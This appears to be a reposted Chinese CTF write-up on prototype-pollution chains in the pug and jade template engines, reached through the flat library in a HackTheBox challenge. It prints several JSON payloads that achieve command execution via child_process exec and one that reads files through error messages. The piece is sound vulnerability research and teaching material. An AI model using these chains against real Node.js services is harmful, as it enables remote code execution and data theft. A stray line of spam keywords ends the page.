<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】從一道題開始的pug原型污染鏈挖掘

    VSole2021-07-15 11:00:00

     

    之前在hackthebox的一次ctf比賽中有一道題考察了原型鏈污染攻擊pug,在做題的時候用AST Injection這種方式又發現了一個未公開的pug&&jade的原型攻擊鏈,和大家分享一下.

    題目簡析

    這道題目具體是HackTheBox 2021 Cyber Apocalypse 2021的一道web題,wp和源碼可以在下面這個鏈接里面找到. https://github.com/evyatar9/Writeups/tree/d67484a86ede51e8cdb3ea1b8ed042363c471296/CTFs/2021-CTF_HackTheBox/Cyber_Apocalypse_2021/Web-BlitzProp

    題目場景:一個提交表單,用json來傳輸提交的數據

    分析代碼,發現代碼量也很少,只有兩個路由

    仔細分析/api/submit部分代碼發現用了flat這個庫解析傳過去的json數據, 題目flat版本是5.0.0, 這個版本存在一個原型鏈污染漏洞,詳情參考 https://snyk.io/vuln/npm:flat . 所以可以post下面的數據成功進入if條件里面:

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild"}// Hello guest, thank you for letting us know!
    

    存在原型鏈污染,題目又沒有別的可利用點,所以只能考慮原型鏈污染打pug.預期解應該是使用POSIX 師傅這條公開鏈打, https://blog.p6.is/AST-Injection/ . 但是當時我還不知道pug有一個現成的原型攻擊鏈,所以就嘗試手動調試挖掘下,就開啟我的模板引擎調試之旅.

    任意文件讀取

    由于pug是jade換了名字改過來的,我就直接嘗試了jade的鏈子能不能打通,就意外發現報錯可用帶出部分文件內容.

    jade的鏈子直接打是會報錯的:

    于是我深入調試分析,直接進入pug.compile函數

    跟進compileBody

    在compile處下斷點

    發現會調用generateCode插件,再繼續跟蹤調試到Compiler.compile()

    下面這段代碼其實就很熟悉了,最終要返回執行的模板函數會存在buf里面,而buf在pug下面這段代碼里面又傳給了js

    之前post的json是:

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.self":true,    "line":"global.process.mainModule.require('child_process').exec('calc')"}
    

    發現報錯其實是污染this.options.self改變了程序運行邏輯,下面這段代碼

    未污染的時候self為undefined值.然后接著調試,發現報錯的時候有驚喜,報錯的時候有一個filename是undefined,嘗試把它污染,污染之后會繼續執行后面的代碼,否則會直接throw error.

    之后發現存在讀取文件操作

    最后發現會把文件內容拼接到報錯信息:


    然后在非debug條件下:

    payload :

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.self":true,    "{}.__proto__.filename":"./flag"}
    

    但是當時的flag文件是/flagxxxxx后面是隨機的,所以這題就沒出: (

     

    AST Injection

    賽后發現pug有現成鏈子:

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "__proto__.block":{        "type":"Text",        "line":"process.mainModule.require('child_process').exec('calc')"    }}
    

    很好奇這個鏈子是怎么挖出來的,所以仔細閱讀了POSIX這篇文章 . https://blog.p6.is/AST-Injection/

    里面講了一種AST Injection的方法,挖掘了很多模板引擎的原型污染鏈. 由于還沒學編譯原理,對模板引擎底層設計也不熟悉,所以感覺這篇文章的精髓也沒有理解,只能跟著調試一下.

    調試的時候會發現下面這端代碼, this.visit,這段代碼對于調試過jade RCE鏈的人來說必定很熟悉,因為jade的惡意代碼就是通過污染node.line拼接到模板函數里面的.

    但是比賽的時候我并沒有調試出node.line為undefined的情況,所以污染這個也不起什么作用,后來發現是格局小了

    不存在node.line為undefined這個條件,我們可以自己創造條件( XD , 如果調試的夠仔細的話可以發現在visitCode()函數中存在code.block為undefined的情況.block值不為空就會調用this.visit,進而有node.line為undefined的情況

    然后就有熟悉又親切的undefined line

    最終的payload:

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "{}.__proto__.block":{        "type":"Text",        "line":"process.mainModule.require('child_process').exec('calc')"    }}
    

    另一條鏈

    如果調試的夠仔細的話可以發現村在visitTag()里面也存在tag.code.

    污染一下再跟進到visitCode:

    發現code.buffer為undefined(默認)或false的時候會把code.val(undefined)push到模板函數,所以可用注入一個visitTag進去

    {    "song.__proto__.name":"Not Polluting with the boys, ASTa la vista baby,The Galactic Rhymes, The Goose went wild",    "__proto__.code":{        "val":";process.mainModule.require('child_process').exec('calc');"        }}
    

    然后就彈出計算器了 : )

    另外再說一下,因為jade和pug比較像,所以我嘗試了一下在jade模板引擎里面這條鏈打不打得通,發現可以,payload如下,分析就不貼了,差不多的.

    {    "__proto__":{        "self":"1",        "code":{            "val":";process.mainModule.require('child_process').exec('calc');"}    }}
    

     

    總結

    我比較菜,只額外找到了另外一條鏈.POSIX師傅這個思路真的很強,順著這個思路可能還可以找出一些別的鏈子,有興趣的師傅可以調試分析下.

    另外報錯讀取文件也很有趣, 大師傅們可以再深入探索下,有新的發現可以聯系我交流hh。

    jadeline
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    之前在hackthebox的一次ctf比賽中有一道題考察了原型鏈污染攻擊pug,在做題的時候用AST Injection這種方式又發現了一個未公開的pug&&jade的原型攻擊鏈,和大家分享一下。
    Lodash 是一個 JavaScript 庫,包含簡化字符串、數字、數組、函數和對象編程的工具,可以幫助程序員更有效地編寫和維護 JavaScript 代碼。并且是一個流行的 npm 庫,僅在GitHub 上就有超過 400 萬個項目使用,Lodash的普及率非常高,每月的下載量超過 8000 萬次。但是這個庫中有幾個嚴重的原型污染漏洞。
    消息群里我們幾個人幾乎同時響應正在處理。這是程序員群體中常見的提高工作效率的方式之一。只能打車回單位改bug。對于公司而言,遠程連入電腦可以讓問題得到更高效更及時的處理;對于程序員本人而言,無論身在何處,只要手邊有一臺可以聯網的電腦,便可以不必在接到電話之后不顧一切地趕往公司進行處理,尤其是寒冬的深夜。所以,這是雙贏的。
    vmp 相關的問題
    2021-11-19 16:58:50
    為新版本的符合一個叫做寄存器輪轉的問題所以他可能jmp ebp,jmp edi等等的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类